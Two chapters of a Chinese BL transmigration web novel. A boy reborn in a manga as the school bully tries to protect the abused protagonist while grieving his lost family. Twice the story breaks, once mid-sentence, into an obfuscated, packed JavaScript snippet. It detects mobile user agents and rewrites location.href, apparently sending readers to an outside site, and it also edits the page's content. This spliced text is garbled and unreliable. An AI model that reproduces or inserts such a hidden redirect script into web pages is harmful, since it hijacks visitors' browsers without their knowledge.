《从恶役变成白月光》 3. 烟花 那本书,是在唯的房间看到的。 怎么看都很奇怪,所以一眼就注意到了。 唯房间的每一本书有栖夏几乎都了解,从爸爸妈妈为唯装好书架的那天起,那张书架就是有栖家的每个人一点点为唯添满的。 有些来自他俩一起放学逛的书店,有些是父母旅游时寄回的,亚美姐也送过几次,还有部分来源于有栖夏在唯房间玩时忘记带回,唯每一次都会为他整理好。 唯独那本书,有栖夏从没见过。 分明被藏在了书架最角落里,书脊却像被翻过了无数遍,比架子上的任何一本书都要陈旧。 他特意记下了书的名字。而作者署名,是他再熟悉不过的笔名——三上亚美,他的姐姐有栖亚美作为BL漫画家所使用的名字。 怀着强烈的好奇,他找到亚美姐借阅了她的这部作品。 亚美把书递给他时,说了让人很不明白的话。 "小唯知道吗?" "他不知道啦……我其实是在他的房间看到的,感觉有点在意,我会跟他道歉的。" "那孩子可不会因为这种事对你生气。给我们小夏一个忠告,看完之后可以和小唯交流一下读后感,他说不定会很想听。" "是吗?总觉得,姐姐和唯好像有事瞒着我。" "哼哼,比起质问姐姐,不如去问唯。对了,还有……这个,请帮我转交给小唯。" 亚美拉开抽屉,把那本薄薄的画册递给他时,显得非常迟疑,好像下定了很大决心。 "这个是?" "你手上拿着的这本书的加笔,正篇完结后的故事,不过一直没能发表。" "为什么要特意给唯?" "你可以问唯哦。" 被亚美姐非常随意地糊弄了过去。 有栖夏捧着那本漫画看了几天,因为是在唯房间才认识那本书,总觉得非常心虚,那几天也不知不觉变得有点躲着唯。 故事让人着迷,也让人很悲伤。 有栖夏渐渐猜到了,唯会喜欢这本漫画的理由。 里面那个名为朝仓唯的孩子,和唯同名。 不仅名字相同,个性也无比相似。 主角朝仓唯因年幼的经历,患上了心理性失语症,个性敏感,孤僻,具有严重的自毁倾向。 有栖夏想起了记忆里刚来到有栖家的唯,和漫画里的描述如出一辙。 他几乎以为亚美是以唯为参考设定的角色,为此特意询问了亚美,得到了否定的答案。 姐姐告诉他,故事在唯到来之前就已经创作了。 像缘分一样。 他珍贵的,独一无二的唯,恰好姐姐漫画的故事里也存在着一个。 有栖夏看漫画的时候,会想,唯是不是在漫画里看见了自己,所以翻了一遍又一遍。 可有栖夏还是有点难过,他希望唯能走出来,不要再回头看,不要从一本漫画里找自己的影子,那并没有意义。 午休躲在图书室的角落看完漫画的结局后,他没能忍住哭个不停。 或许是不愿看见那个与唯同名的角色就那样死去,对于这样的结局难以接受,很不甘心。 一个悲伤的故事被写下来应该是为了迎来美好的结局才对,经历了许多辛苦的角色,怎么能到死都没能感受到幸福?未免太过残忍。 唯在图书室里找到了他。 生着闷气给他擦眼泪的样子令有栖夏感到内疚不已。 唯从不会对他生气,他知道,唯是在对自己生气。 因为他躲在唯看不见的地方哭了,而唯没能知道原因。 有栖夏把漫画书递给唯。 "上次在你的房间发现的,明明每天都有待在一起,却从没见你在我面前翻过,所以擅自去找亚美姐借了一本,对不起。" 唯的脸色变得苍白,让有栖夏想起了从前,那个不会说话、即使到了新家也只是在角落里一动不动地坐一整天的唯,令人说不出揪心。 有栖夏牵着他坐在窗台上。当阳光爬满相抵的肩头,身体渐渐变得暖洋洋。 "亚美姐告诉我,唯想听听我的读后感,我刚刚读完了,但是不知道怎么说。" 他想了想,握住唯那只比平时更加冰凉的手,将它贴在刚刚被擦干眼泪的面颊上。 "眼泪就是读后感。" "我讨厌这个结局。" “太压抑了,有点可怜,还有好多故事没讲完,比方说,他们为什么会变成那样的性格呢?过去到底发生了什么?想了解更多。” "还有……我从最开始就在想,要是,要是有谁能爱他们,那就好了。" 被握住的手在颤抖,唯轻轻地抱住了他,像是为了掩饰自己的表情一样。 “阿夏很好奇的话,问我就好了,我知道‘朝仓唯’的角色设定,我会,全部告诉你的。” …… 有栖夏揉了揉太阳穴。 精神过于疲倦,居然在电车上做了一个两分钟的梦。 梦见了,死之前的几天。 唯要告诉他的内容还没来得及听到,早知道会穿越到漫画里,至少应该在图书室时就让唯告诉他的,有栖夏很后悔。 他微微弯腰,望向相邻车厢。 原来会在电车上睡着的不只有他。 比漫画里还要漂亮的娃娃脸,闭上眼的样子让人联想到无瑕的山樱,皎洁而稚嫩。 为什么能够对这样一张脸下得去手?有栖夏无论如何难以理解。 电车穿过山群,蔚蓝的海隔着玻璃映入眼帘。 很快,电车靠向名为桐生津的站台。 进站广播中,水守琉生睁开没有困意的眼睛,被注视的感觉太过明显,他起身时扫了一眼隔壁车厢所在的方向,什么也没能看见。 有栖夏捂住怦怦跳的心脏。 刚刚才意识到,身上还穿着和少年一样的校服,太过显眼了。 他脱掉外套,及时离开车厢。 脚踝的位置已经肉眼可见地变肿,有栖夏艰难躲避着拥挤的人群,距离水守琉生也越来越远。 少年的身影还是消失在了视线范围。 好在终点就在出口处,有栖夏算不上太着急。 终于走出地下通道,迎面而来的桐生津的风带着一丝淡淡的咸腥味。宽阔的步行街人潮拥挤,张灯结彩的摊位飘来香味。 但是,奇怪……? 有栖夏揉了揉眼睛。 对面的街道旁,并没有期望中的那家如童话糖果屋般的店铺。 本该是"琥珀糖"的位置,坐落着一家风格古旧的居酒屋。 有栖夏四下张望,名为水守琉生的少年不见踪影。 他确信自己没记错。 琥珀糖在原著里出现了两次,关于它位置的描述是"走出车站就能看见"。 难道,他彻底弄错了? 或许,这里其实是和原著不同的故事。 由于看见了志田纮的记忆,他从一开始就理所当然地认为,这里是《坠入深海》的故事所发生的世界。 如果这里并不是漫画世界,那就能解释得通,为什么水守琉生做出了原著里没有记载的行为。 有栖夏纠结得眉毛拧成八字,又否定了这个猜测。 因为,不论地名,学校名字,包括周围人的名字,几乎没有出入。 到目前为止,志田身上发生的事,志田纮对水守琉生做过的事,水守琉生的性格,和原著里也一模一样。 不,现在不是想这个的时候。 有栖夏摇摇头。 得先找到水守琉生才行。 "我这算骗了他吗?" 有栖夏沮丧地低语,一边小心翼翼地张望。 和消失的琥珀糖一样奇怪……找不到。 他明明才跟丢了一会儿而已。 在学校外面时,分明穿着同样校服的人群堆里也能一眼认出来的人,此刻却像是消匿于人海。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996275|193888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有栖夏停下脚步,注视着街道尽头那片人头攒动的沙滩。 从刚才开始,漫画的结局就在脑海里挥之不去。 是不是……不该建议水守琉生来这里的?他明知道这里会发生什么。 有栖夏又感受到了那种喘不上气的感觉。 "对了,message……" 有栖夏从外套口袋里摸出志田纮的手机,在line里找到了水守琉生的联系方式。 聊天记录只有寥寥几条,是志田纮在向水守琉生索要银行卡密码,而水守琉生有问必答。 有栖夏看过记忆早有预料,心下一片叹息。 自志田苍住进了精神治疗中心后,高昂的治疗费用以及苍残留的债务,早就令整个志田家的经济状况一落千丈。 父亲远在东京工作,母亲在精神机构陪护兄长,志田纮一个人长期被丢在家里,靠着每月拮据的生活费度日。 当然,他一点没受罪,受罪的成了水守琉生。 不见踪影的水守丰,唯一还尽监护人义务的事,就是每隔一段时间固定给弟弟水守琉生寄钱。 那些钱来路不正,水守琉生一次都没有使用过它们。 从很久前起,少年就一直在便利店里做着夜间兼职,白天啃着冷硬的面包,夜里靠着店里每日需要处理的临期食品果腹。一个人费力地照顾着自己。 所以当志田纮恬不知耻地向他勒索敲诈时,水守琉生像处理垃圾一样把那张卡送了出去。 有栖夏摁了摁的太阳穴。 发什么好呢? 要有志田纮的风格,又能令一个心如死灰的人真正在意心急。 手指敲了敲屏幕,摁下发送—— "开门,还是说你不在家?” “去哪儿了?快点滚回来。" "不然我把你家房子一把火点了。" 有栖夏捂住脸,这是人能说出的话吗? 没错,志田纮这烂人还真说过这种话。 这下能做的都做了,不能做的也做了。 脚踝处传来的痛楚此刻格外尖锐清晰,有栖夏轻轻抽了口气,靠着街边的石阶坐下。 紧绷的神经微微松懈,回过神来才发现后背早已沁出一身冷汗。 有栖夏望着步行街上川流不息的人群,随着天色渐暗,人流开始汇集在海边的堤坝之上。 欢声笑语从面前一次次掠过。如此鲜活,如此真实。 有栖夏远远扫视着路过站口的每一个人的脸,那张带着伤痕的娃娃脸始终没有再出现。 不适的眩晕再次上涌,有栖夏把下巴抵在膝盖上,暂时闭上眼睛。 吹在身上的夜风温度略低,昭告着这个世界夏天的尾巴已然溜走。 有栖夏还记得,死之前,他的世界才步入春天的尾声。 还没来得及好好体验的第十七岁的夏天,本打算和唯认真表白的季节,就这样被生死的刻刀切割,既未开始于那边,也刚刚消失于这边。 到底去了哪里呢? 或许永远也找不回来了。 困顿占据思绪的全部,意识如同陷入一片深蓝色的海洋,化作了其中的每一滴水,无法感知,无法思考。 像是有谁轻轻掬了其中一捧,那一捧不多不少,恰好包含了全部的他,思维因此得以聚拢。 虚幻的视线里,看见海水没过头顶,有什么隔着耳膜闷闷地炸响。 看见,模糊的光如一滴滴油彩在海面流淌,淹没整个世界。 那是……烟花在绽放。 绚烂,美丽,却短暂。 何处而来的悲伤占据心脏?何处而生的寂寞啃噬思维? 无法呼吸的痛苦中,有栖夏挣扎着从梦里睁开眼。 "轰"—— 五颜六色的色彩点亮整片夜空。 遥远地倒映进萦绕噩梦余波的眼眸中,将那片数不尽的悲伤短暂取代。 海面之上的烟花,远比海面之下更美丽。 4. 第一天 志田的家坐落在水泥建筑群密集的区域,街道并不宽,有小车通过的话人几乎要往两边贴着围墙躲。 附近的房子外观大同小异,多数是黑瓦白墙,附带一个并不大的小院,停了一辆车后略显拥挤,但多数人家仍旧坚持把那小小的空间装点成类似花园的模样。 有栖夏成功找到写有“志田”的表札,推开院门,他倒是没什么紧张的情绪,毕竟志田的父母都不在家。 院子里的杂草因为长期无人踩踏而显得凌乱茂盛,志田母亲从前精心料理的花也早已枯萎。 推门而入,客厅里摆放着被炉,沙发与电视机,通往二楼的楼梯正对着大门。 左侧是餐桌,靠内则是厨房,用磨砂玻璃门隔离。右侧是与庭院相接的落地窗,靠内是一楼的卫生间。 卧室与书房在二楼,阳台面朝着门前的街道,几件衣服在固定晾衣杆上挂着。 有栖夏从阳台眺望,对面正是水守家的房子。 荒败的院落,所有窗户都被厚重的白色窗帘挡住,从不会被人掀开哪怕一角,像座与世隔绝的白色孤岛。 在志田纮记忆中,很久之前起它就是那副模样了。 此刻,二楼的侧窗里正有微薄的光穿透窗帘泄出——和过去的每一天一样,表明水守琉生已经顺利回到家。 有栖夏松了口气的同时,又隐隐感到一种说不出的沉闷压在心上。 每到夜晚,对面的房子里唯独那间会亮起灯,至少志田纮已经太久没见过其他房间的窗户透露出灯光了。 而且,它会彻夜亮起,直到天明。 最开始观察到这一情况时,志田纮好奇过一段时间,并一直以为那是水守琉生的卧室。 而看过漫画的有栖夏知道,那里其实并不是谁的卧室。 那是,水守家的杂物间,水守琉生不知何时起用来度过夜晚的地方。 有栖夏清晰记得那里面的情形。 每晚都要反锁的门,铺着薄薄床垫的冰冷地板,换作谁长期待在其中都会觉得窒息的狭窄空间。 水守琉生就是在那样的地方度过中学时期的每个夜晚。 明明家里已经空无一人,母亲早已离去,父亲失踪,兄长杳无音讯。 偌大的房子只剩下水守琉生一个人,他有自己的卧室,他可以选择其他人的房间,甚至是宽敞的客厅。 却始终只选择睡在那个狭小的杂物间。 有栖夏难以理解,却猜到一点原因。 大概是因为,面前这座房子里曾发生过可怕的事,漫画里不止一次用隐晦的分镜暗示过这一点。 那些镜头无一例外都在水守琉生的回忆框里,伴随而来的是少年无论如何也无法摆脱的如溺水般的窒息感。 阅读时有栖夏本以为后面会揭示,可是直到结局也没有直接呈现那部分情节。 《坠入深海》从一开始就是一本很意识流的漫画。 主角自登场就已伤痕累累,谜团满布。它讲述了一切的结果,却不讲述起因。 有栖夏深深叹了口气,转身回到志田纮的卧室。 给腿喷完药,他稍微整理了一下东一本西一本掉落的漫画书,出于轻微洁癖,把枕头被套都给换掉了。 摊开志田的教科书挨个儿翻看,高中的内容都大差不差,有栖夏松了口气。 临死前他还是名紧张备考的高三学生,年纪和志田纮相当,一直以东京的大学为目标,直到猝不及防的死亡来临。 暂时……先以考大学为目标适应一下吧。 整理好心情,该考虑填饱肚子了。 厨房的冰箱里塞满了牛奶和冷冻熟食。志田纮是个不会做饭的人,就算被长期被丢在家里也不打算学会这项技能。 好在有栖夏是个对食物从不挑剔的人,勉勉强强应付了过去。 煮好泡面,有栖夏裹着毛巾端到许久不曾使用的餐桌上,他刚刚已经擦过一层灰。 用餐前双手合十拍了拍。 "我开动啦——" 本就安静的房间里,陡然响起的陌生声音消失后,一切显得无比空落落。 仿佛仍在耳畔的,姐姐下楼时慵懒的抱怨、唯每次轻轻拉开椅子又松手的声音。 有栖夏夹起一点咬下,"好烫。" 舌头好疼……疼得让人想哭。 · 清晨在一个陌生的家醒来,有栖夏盯着天花板发呆了一会儿,慢吞吞地爬下床。 拉开窗帘,天空乌云密布,像是太阳还没有升起。 有栖夏看了眼时间,给腿喷好药,走进卫生间。 忘了买牙刷。真糟糕。 有栖夏把旧牙刷丢进垃圾桶,转过头,镜子里倒映出一张陌生的面孔,头发凌乱,黑眼圈略重,整个人懒洋洋,看起来不太精神。 有栖夏尝试扬起嘴角,镜子里的陌生人对他露出笑容。 不再看一眼镜子,有栖夏利落地洗漱完下楼。 早餐是一个三明治,一杯牛奶。 午餐也准备好了,还是一个三明治一瓶牛奶。 有栖夏倒是很想自己准备手作便当,但是他目前还没买菜,只能先将就一天。 提上书包出门,清晨的街道一片阴沉的气氛,偶尔传来赶路的学生的交谈声。 总感觉会下雨。作为一个出门必看天气预报与垃圾桶的人,有栖夏已经知道了清晨有雨,只能祈祷在他顺利到达学校之前不要下。 因为看了记忆,志田的伞还留在教室的收纳柜里。 九月末的晨风已经带有明显的秋意,吹在脸上能感到刺人的寒冷。 刚出院子没走两步,有栖夏听见了背后传来铁门吱啦关合的声音。 不会那么巧吧?有栖夏转过头,关门的少年与他对视一眼,低下头走在街道的另一侧。 两人保持着不算太远的距离,在有栖夏一只腿受伤的情况下,这段距离有越来越近的趋势。 稀稀落落的雨滴从天而降,有栖夏心叹倒霉,不停祈求它不要下太大,可惜事与愿违,密密麻麻的雨点砸下来,让人避无可避。 不要欺负瘸子呀。有栖夏心里欲哭无泪。 就在这时,旁边突然撑过来一把伞。 有栖夏屏住呼吸,转过头,看见了那张带着伤的娃娃脸。 水守琉生低垂着眼眸,沉默地举着伞迁就他的步调,面无表情的模样像是在做一件毫无交集的事。 有栖夏动了动嘴唇,想说“谢谢”,又及时咽进喉咙里。 志田纮不会说那样的话,抢走琉生的伞,然后把人推倒在路边,那才是志田纮的人设。 有栖夏当然也做不出来更过分的事情,他只是不想让“自己”的转变太过突然。 他的愿望不过是相安无事就好,没有欺凌,没有伤害,没有疼痛和眼泪。 上学的路径途经公园,有些赶时间的学生会选择横穿公园,那样比较近一点。 有栖夏走的非常慢,一个个加快脚步的学生从他身边经过,后面穿制服的人变得越来越少。 随处可见的凉亭中坐着避雨的老人,宽阔的主道上夹杂着不少步履匆忙的上班族。 路旁满是落叶,表明秋季先一步降临这里。 雨始终没有变小的趋势,耳边的呼吸声被雨声盖过,轻到几乎听不见。 那只瘦弱的胳膊小心翼翼地举着伞,避免了会触碰到有栖夏身体的可能。 走进教学楼门口,身旁的伞收了起来。 室内的地板因雨水的痕迹变得湿滑,有栖夏艰难地挪动脚步,好在大家都因为看见他腿脚不便而小心避让。 有栖夏走向高二的鞋柜组,不太熟练地寻找着“志田纮”的名字,更换室内鞋,然后像蜗牛一样慢吞吞地上楼。 站在角落的雨伞架旁的少年,一动不动地注视着这一切。 早会即将开始,有栖夏一瘸一拐地走进二年B班的教室,热闹的声流有一瞬间的停滞,很快被新的嘈杂淹没。 那些打量的目光如芒在背。有栖夏知道原因,因为志田纮从来没有上过早会。 想到这里有栖夏又忍不住感慨,不愧是漫画世界,在他所在的世界里,像志田这种类型的学生只会出现在底边校。 两个嬉闹的同学在桌椅间横冲直撞地追逐,有栖夏避之不及,扶住旁边同学的桌子才没有摔倒。 撞人的同学停顿了一下,似乎打算道歉,看到是“志田”,又若无其事地继续玩闹去了。 有栖夏抬起头,与被扶住的桌子的主人对视一眼,那位戴黑框眼镜的同学目光灼灼地盯着他摁在桌子上的手,像在看什么脏东西。 有栖夏收回手藏到身后。 心里不禁为志田的名声默哀着,有栖夏越过水守琉生的座位,把书包挂在桌边,撑着桌子艰难地坐下。 这一下像是泄掉了他所有的力气,他趴在桌子上一动不动,整个人陷入了暂停状态。 脑海中不可避免地冒出许多回忆,那是属于有栖夏而非志田纮的过去。 初二时不小心从家里的楼梯上摔下来过一次,那次非常严重,腿打了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996276|193888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石膏,整整一个多月才好。 唯从每天背着他上学到后面扶着他上学,那时他们并不在一个班,唯却总是一下课就准时出现在他的教室门口。 尽管被朋友们看见了自己趴在弟弟背上会感到非常害羞,但是,那时候才突然地发觉,唯已经从自己爱护的孩子变成了有些可靠的家人。 有栖夏把脑袋埋进手臂圈成的圈里。 从七岁到昨天为止,明明每天都会问候早安晚安的家人,一下子却变得永远没办法再见面。 有栖夏已经尽量不让自己去想这个事实,可它却在某个瞬间像收不住的洪水一样,裹挟着难以忍受的寂寞一同涌出来。 桌子被人轻轻敲了敲,有栖夏抬起头,鼻梁上有着可爱雀斑孩对他伸手。 “志田同学,作业。” 有栖夏陷入了微妙的沉默。 oioi,不要看“志田”突然开始上早会了就对“他”会做作业产生期待呀。 真实原因是有栖夏昨晚翻遍了记忆都没找到志田关于作业布置相关的内容,他终于明白了,一个不是在课堂上睡觉就是翘课的家伙,根本不会在意作业这种东西。 女孩毫不意外地叹了口气,抱着厚厚的作业本离开前,她把一块手帕放到有栖夏桌上。 “难受的话可以适当请假,不要总是逃课。” 有栖夏尴尬地揉了揉眼眶,有那么明显吗? 随着铃声响起,教室内外渐渐变得安静。 三两声肆意的嬉笑在走廊显得格外突兀,通过他们的大声喧哗能够听出是运动部的人,虽然下雨被迫取消了晨练,但也不打算回到教室乖乖读书的样子。 大家对这种情况似乎已经习以为常。 有栖夏随手翻开一页草稿,在脑海里回忆自己的模样。 今早照镜子的时候恍惚了好一阵,突然生出一种恐惧感,怕哪一天醒来连自己本来的模样都忘记了。 笔尖尝试划出一条条线条,又被有栖夏不满意地抹去,这个过程重复了一遍又一遍。 回过神来,本子上已经被戳出许多凌乱的墨块。 有栖夏认识到了自己实在没有什么美术天赋,早知道跟着亚美好好学一下就好了。 他抬起头看了眼前排水守琉生的后脑勺,看起来像在趴在桌子上睡觉。 有栖夏翻开书,勉强让自己看进去。 无论是哪一个世界,上课都是极其无聊的事情。 有栖夏时不时分神观察一下前排的主角,从早课开始,这孩子已经连睡三堂课了,连课间都不会醒来活动活动。 首先排除主角在摆烂的可能。原著里的水守琉生,即使校园生活糟糕透顶仍旧坚持着学业,依靠着对学业的专注转移注意力,最终在偏差值低于六十的学校里成功考上东京的大学。 有栖夏咬着笔尖,难不成又生病了? 他记得水守琉生是有个体弱多病的人设,嗯,因此漫画里有很多病弱play。 想到那些画面有栖夏就有点脸红,实在是亚美的画风太过美型,连那种描写都画得很唯美。 当着正主在想什么呢? 有栖夏捏了捏耳垂,及时纠正自己跑歪的念头。 他翻出早课画自画像失败的那张草稿纸,不想听课时就看一眼水守琉生,再百无聊赖地涂两笔。 说起来,真的很不可思议,能够如此近距离观察自己喜欢的角色。 下课铃响,有栖夏放下笔,拖着腿走向卫生间。 丝毫没有注意到,在他离开时教室里响起的窃窃私语。 “骗人的吧,那家伙今天居然没有发脾气。”没有踹水守的椅子,也没有中途翘课。 “他刚刚在认真听课,还做笔记。”发言人是有栖夏的邻座。 “呃,可能是腿瘸了,暂时嚣张不起来?” 去储物柜放东西的同学路过志田纮的桌旁。 “欸,他真的在认真记笔记。” 然后几个人凑近,欣赏奇观一样围观有栖夏的笔记。 “奇怪,志田的字有这么漂亮吗?” “这是什么,呃,水守的背影?” 笔记本旁的涂鸦被注意到了。 “话说回来,他今天是和水守一起上学。” 有人看向前座趴伏的少年,他早就被闹哄哄的人群吵醒,只是无动于衷地看着摊开的手心发呆,仿佛听不见周围的声音。 等到讨论声渐弱,人群散去,少年才转身,盯着志田的桌子上那张画。 他看了好一会儿。